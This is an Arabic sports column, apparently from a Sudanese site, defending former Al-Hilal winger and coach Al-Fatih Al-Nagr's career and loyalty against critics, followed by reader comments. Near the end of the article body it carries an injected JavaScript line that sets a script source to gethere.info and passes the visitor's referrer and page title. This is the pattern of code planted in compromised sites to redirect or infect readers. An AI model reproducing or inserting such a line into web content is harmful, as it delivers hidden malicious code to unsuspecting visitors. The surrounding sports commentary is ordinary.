الرئيسية / مقالات / الشارع الرياضي ..محمد أحمد دسوقي من يهاجمون النقر لايعرفون تاريخه المشرف كلاعب عظيم

الشارع الرياضي ..محمد أحمد دسوقي من يهاجمون النقر لايعرفون تاريخه المشرف كلاعب عظيم

الشارع الرياضي محمد أحمد دسوقي %d8%af%d8%b3%d9%88%d9%82%d9%8a قاد الهلال للفوز بكأس الذهب بصناعته لهدفي النصر تسبب بسرعته ومهارته في المراوغة في شطب أربعة من مدافعي المريخ لم يساوم يوماً على التوقيع للهلال لولائه المنقطع النظير للنادي الاستاذ الجليل دسوقي لك التحية ولبابك الرائع “نجم على التلفون” الذي كان اول ضيوفه زعيم أمة الهلال الراحل الطيب عبد الله والذي هو بكل المقاييس واحدا من أعظم الرؤساء في تاريخ الهلال واكثرهم استمراراً في الرئاسة وبعده استقبل هذا الباب العديد من أفذاذ الرؤساء واللاعبين والمدربين الذين كان آخرهم المدرب المقتدر ونجم الهلال والجناح الخطير وابن الهلال الفاتح النقر الذي تحدث بكل شجاعة في مختلف القضايا الهلالية والرياضية وهذا اسلوبه وديدنه في ابداء رأيه بصراحة ووضوح فيما يختص بشطب كبار النجوم بقرارات ادارية لا علاقة لها بالشأن الفني ويتحمل مسؤوليتها رئيس الهلال ولذلك تعرض للهجوم من بعض الاقلام التي تعتبر نفسها وصية على النادي بالاساءة لكل من يختلف مع المجلس ورئيسه او يوجه لهم النقد والحقيقة إن من يهاجمون النقر لم يشاهدوه او يعرفوا تاريخه وجهوده وعطاءه وقدرته الخرافية في المراوغة التي تعرضه للعنف والضرب من جانب المدافعين الذين لم يوقفوه او يحدوا من خطورته. ولهؤلاء الذين يشتمون الفاتح النقر اقول لهم انه منذ انتقاله من العباسية للهلال في العام 1968 لم يجلس على دكة الاحتياطي رغم انه قد لعب مع العمالقة الافذاذ امثال جكسا والدحيش وكسلا وقاقارين وشاويش وديم الصغير وعبده مصطفى وكانت أولى مبارياته أمام المريخ على كأس السير استنالي راوس رئيس الاتحاد الانجليزي والتي شكل فيها ازعاجاً رهيباً لدفاع المريخ ونجح في صناعة هدف الفوز الذي احرزه الاسطورة جكسا في شباك حارس المريخ الدولي عبد العزيز عبد الله ثم واصل مسيرته مع الهلال في ذلك العهد الذهبي الذي كانت فيه الاندية تضم عمالقة النجوم في الموردة والنيل والاهلي والتحرير وبقية العقد النضيد من الاندية التي صنعت تاريخ وشعبية كرة القدم، ويحسب للفاتح النقر في تاريخه المجيد انه قد تسبب في شطب اربعة من النجوم الذين كانوا يلعبون في وظيفة الظهير الايسر وهم دي شايقي ونوح ادم وعزالدين خورشيد الذي أنهى الفاتح النقر مشواره مع المريخ من مباراة واحدة وكاوندا الذي تم تحويله لاستوبر بعد ان فشل في ايقاف القاطرة البشرية وقد اطلق شاخور الاب الروحي للمريخ على الفاتح النقر لقب “النقر المجري” بسبب القطار المصري السريع الذي كان يطلق عليه المجري، ومن مباريات الفاتح النقر التي لا تنسى انه كان مفتاح النصر في مباراة كأس الذهب بصناعته لهدفي الفوز اللذين أحرزهما الرأس الذهبي عز الدين الدحيش من رأسيتين محكمتين ليتسلم كابتن الهلال الكأس الذهبي من رئيس الجمهورية جعفر محمد نميري والذي كان ثمنه في العام 1974م 50 الف دولار اي انه يساوي اليوم عشرة اضعاف ذلك المبلغ الموجود باسم الهلال في احد البنوك، كما كان النقر احد النجوم الساطعة في مباراة الهلال والمحلة المصري التي انتهت بفوز الهلال باربعة اهداف مقابل هدف وكان هدفه واحداً من اجمل الاهداف، وفي 1969م تم اختيار النقر للمنتخب الوطني”ب” والذي شارك في بطولة كروية بتشاد ضمن منتخبات افريقيا الوسطى، يوغندا، تشاد البلد المضيفة ونجح النقر في قيادة المنتخب الوطني للفوز بتلك البطولة والتي كان هدافها نجم التحرير علي سعيد بتسعة اهداف، وللذين يشتمون الفاتح النقر انهم لا يعرفون اخلاص ووفاء الفاتح للهلال الذي لم يتمرد عليه يوماً او يطالب بأي مبلغ مالي طوال الفترة التي قضاها في النادي ،وفي احدى فترات التسجيلات قام باعادة قيده بالتوقيع على اورنيك التسجيل دون ان يسأل عن المبلغ الذي رُصد له وعندما تحدث معه السيد عبد الله السماني عن عدم سؤاله عن امواله اوضح له انه جاء للعب في الهلال بسبب حبه وعشقه للنادي وتقديراً من السماني لهذا الموقف ضاعف له مبلغ التقييم في ذلك الوقت من 300 الى 600جنيه. هذا هو الفاتح النقر الذي يتعرض للهجوم والاساءة والتجريح من اقلام لا تعرف أدب الهلال وتقاليده التي تفرض الاحترام والتقدير لكل من ارتدى شعار النادي ودافع عنه وقاتل في سبيله وحتى عندما انخرط النقر في مجال التدريب لم يساوم يوماً على العمل في النادي وعندما يتم الاستغناء عنه يغادر بدون غضب ليعود في اي وقت يحتاج فيه الهلال لمجهوده. فتحية لتاريخ هذا اللاعب والمدرب ولمواقفه الشجاعة وهو يقول كلمة الحق من أجل مصلحة الهلال العظيم والذي هو على استعداد للتضحية من أجله بكل شئ. تعليق شكراً للاخ الفكي بريمة على هذه المعلومات القيمة عن الفاتح النقر الذي أعطى الهلال بلا حدود كلاعب ومدرب وكان عنواناً للولاء والاخلاص والوفاء الذي يستحق بسببه التكريم والتقدير ولكنه زمن الجحود والنكران الذي اختلت فيه القيم ليتعرض الفاتح للسباب والشتائم من بعض الاقلام لأنه قال كلمة حق بتوجيه النقد لرئيس الهلال ومجلسه وتحميلهم لمسئولية فشل التسجيلات واضعاف الفريق بشطب كبار النجوم دون ايجاد البديل المناسب وخلق اجواء من عدم الاستقرار بالاستغناء عن عدد كبير من المدربين ليخرج الفريق من المرحلة الاولى للبطولة الافريقية بسبب التدخل الاداري في الشأن الفني الذي أدى لتراجع مستوى الفريق ووصوله لهذه المرحلة من الضعف الذي ادخل الخوف في قلوب الجماهير من تحقيقه للنتائج الجيدة في هذا الموسم. s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

التعليق بواسطة فيس بوك

3 تعليقات

  1. يا اخوي الكلام ده متناقض كيف يكون هو سجل في الهلال عام1968 ولعب في كاس السير استالني والسودان استقلاله كان عام 1956

  2. د سوقى طة على البشير

اضف رد

لن يتم نشر البريد الإلكتروني . الحقول المطلوبة مشار لها بـ *

*